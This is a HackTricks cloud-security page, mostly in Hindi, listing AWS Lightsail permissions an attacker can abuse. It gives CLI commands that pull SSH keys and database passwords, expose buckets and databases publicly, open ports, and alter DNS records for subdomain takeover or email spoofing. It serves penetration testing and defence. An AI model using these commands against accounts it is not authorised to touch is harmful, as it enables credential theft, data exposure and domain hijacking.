AWS - Lightsail Privesc

Reading time: 6 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Lightsail

For more information about Lightsail check:

AWS - Lightsail Enum

warning

यह ध्यान रखना महत्वपूर्ण है कि Lightsail उपयोगकर्ता के IAM roles का उपयोग नहीं करता बल्कि यह एक AWS managed account के लिए है, इसलिए आप इस सर्विस का दुरुपयोग करके privesc नहीं कर सकते। हालांकि, इस सर्विस में code, API keys और database info जैसी संवेदनशील जानकारी मिल सकती है।

lightsail:DownloadDefaultKeyPair

This permission will allow you to get the SSH keys to access the instances:

aws lightsail download-default-key-pair

संभावित प्रभाव: instances के अंदर संवेदनशील जानकारी मिल सकती है।

lightsail:GetInstanceAccessDetails

यह अनुमति आपको instances तक पहुँचने के लिए SSH keys जनरेट करने की अनुमति देगी:

bash
aws lightsail get-instance-access-details --instance-name <instance_name>

संभावित प्रभाव: instances के अंदर संवेदनशील जानकारी खोजें।

lightsail:CreateBucketAccessKey

यह permission आपको bucket तक access करने के लिए एक key प्राप्त करने की अनुमति देगा:

bash
aws lightsail create-bucket-access-key --bucket-name <name>

संभावित प्रभाव: बकेट के अंदर संवेदनशील जानकारी ढूँढें।

lightsail:GetRelationalDatabaseMasterUserPassword

यह अनुमति आपको database तक पहुँचने के लिए credentials प्राप्त करने देगी:

bash
aws lightsail get-relational-database-master-user-password --relational-database-name <name>

संभावित प्रभाव: database के अंदर संवेदनशील जानकारी मिल सकती है।

lightsail:UpdateRelationalDatabase

यह अनुमति आपको database तक पहुँचने के लिए password बदलने की अनुमति देगी:

bash
aws lightsail update-relational-database --relational-database-name <name> --master-user-password <strong_new_password>

यदि डेटाबेस सार्वजनिक नहीं है, तो आप इसे इन अनुमतियों के साथ सार्वजनिक भी बना सकते हैं।

bash
aws lightsail update-relational-database --relational-database-name <name> --publicly-accessible

संभावित प्रभाव: डेटाबेस के भीतर संवेदनशील जानकारी का पता लग सकता है।

lightsail:OpenInstancePublicPorts

यह इंटरनेट पर पोर्ट खोलने की अनुमति देती है।

bash
aws lightsail open-instance-public-ports \
--instance-name MEAN-2 \
--port-info fromPort=22,protocol=TCP,toPort=22

Potential Impact: संवेदनशील ports तक पहुंच।

lightsail:PutInstancePublicPorts

यह permission इंटरनेट पर ports खोलने की अनुमति देता है। ध्यान दें कि यह कॉल उन किसी भी ports को बंद कर देगा जो इसमें निर्दिष्ट नहीं हैं।

bash
aws lightsail put-instance-public-ports \
--instance-name MEAN-2 \
--port-infos fromPort=22,protocol=TCP,toPort=22

Potential Impact: संवेदनशील ports तक पहुंच।

lightsail:SetResourceAccessForBucket

यह permissions किसी instance को बिना किसी अतिरिक्त credentials के किसी bucket तक access देने की अनुमति देता है।

bash
aws set-resource-access-for-bucket \
--resource-name <instance-name> \
--bucket-name <bucket-name> \
--access allow

Potential Impact: संवेदनशील जानकारी वाले buckets तक संभावित नया एक्सेस।

lightsail:UpdateBucket

इस अनुमति के साथ attacker अपने AWS account को buckets पर read access दे सकता है या buckets को सभी के लिए public बना सकता है:

bash
# Grant read access to exterenal account
aws update-bucket --bucket-name <value> --readonly-access-accounts <external_account>

# Grant read to the public
aws update-bucket --bucket-name <value> --access-rules getObject=public,allowPublicOverrides=true

# Bucket private but single objects can be public
aws update-bucket --bucket-name <value> --access-rules getObject=private,allowPublicOverrides=true

Potential Impact: संवेदनशील जानकारी वाले buckets तक संभावित नया एक्सेस।

lightsail:UpdateContainerService

With this permissions, एक attacker containers service से private ECRs तक access दे सकता है।

bash
aws update-container-service \
--service-name <name> \
--private-registry-access ecrImagePullerRole={isActive=boolean}

Potential Impact: निजी ECR से संवेदनशील जानकारी प्राप्त करना

lightsail:CreateDomainEntry

एक हमलावर जिसके पास यह अनुमति हो, एक subdomain बना सकता है और उसे अपने IP पते की ओर इंगित कर सकता है (subdomain takeover), या एक SPF रिकॉर्ड तैयार कर सकता है जो उसे उस डोमेन से ईमेल spoof करने की अनुमति देता है, या यहाँ तक कि मुख्य डोमेन को उसके अपने IP पते पर सेट कर सकता है।

bash
aws lightsail create-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0

Potential Impact: डोमेन का कब्ज़ा

lightsail:UpdateDomainEntry

इस अनुमति के साथ एक attacker subdomain बना कर उसे अपने IP पते की ओर पॉइंट कर सकता है (subdomain takeover), या एक SPF record तैयार कर सकता है जो उसे domain से emails spoof करने की अनुमति देता है, या यहाँ तक कि मुख्य domain को भी अपने IP पते पर सेट कर सकता है।

bash
aws lightsail update-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0

संभावित प्रभाव: डोमेन पर कब्ज़ा

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें